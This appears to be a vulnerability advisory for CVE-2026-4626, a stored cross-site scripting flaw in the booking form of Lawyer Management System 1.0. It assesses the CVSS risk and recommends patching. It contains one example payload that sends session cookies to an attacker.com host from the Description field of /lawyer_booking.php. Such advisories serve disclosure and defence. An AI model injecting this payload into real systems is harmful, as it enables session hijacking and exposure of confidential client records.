Lawyer Management System CVE-2026-4626

While the CVSS score of 3.5 appears low, the real-world risk is moderate when factoring in multiple signals. The attack vector is network-accessible (AV:N), requires low complexity (AC:L), and demands low privileges (PR:L) with user interaction (UI:R), making exploitation straightforward. The CVSS evidence tag (E:P) indicates proof-of-concept code is publicly available, significantly increasing exploitation likelihood. The key mitigating factor is the requirement for low-privilege user authentication and user interaction, which limits opportunistic attacks. However, the public POC disclosure on GitHub and the relatively simple nature of XSS vulnerabilities in PHP applications suggest this vulnerability will likely see active exploitation attempts. This is not a zero-day scenario; it is a known vulnerability with documented exploitation paths. Organizations running Lawyer Management System 1.0 should prioritize patching or upgrading, particularly if the application is internet-facing or processes sensitive client information (as is typical for legal practice management systems).

An authenticated user with low-privilege access (such as a paralegal or receptionist) could craft a malicious booking request by injecting JavaScript code into the Description field of the /lawyer_booking.php form—for example, <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When a lawyer or administrator views the booking details, the injected script executes in their browser context, silently exfiltrating their session cookies to the attacker's server. The attacker could then impersonate the administrator to access client records, modify case information, or extract sensitive legal documents. The public POC available on GitHub lowers the barrier to entry, making this attack accessible to less-skilled threat actors.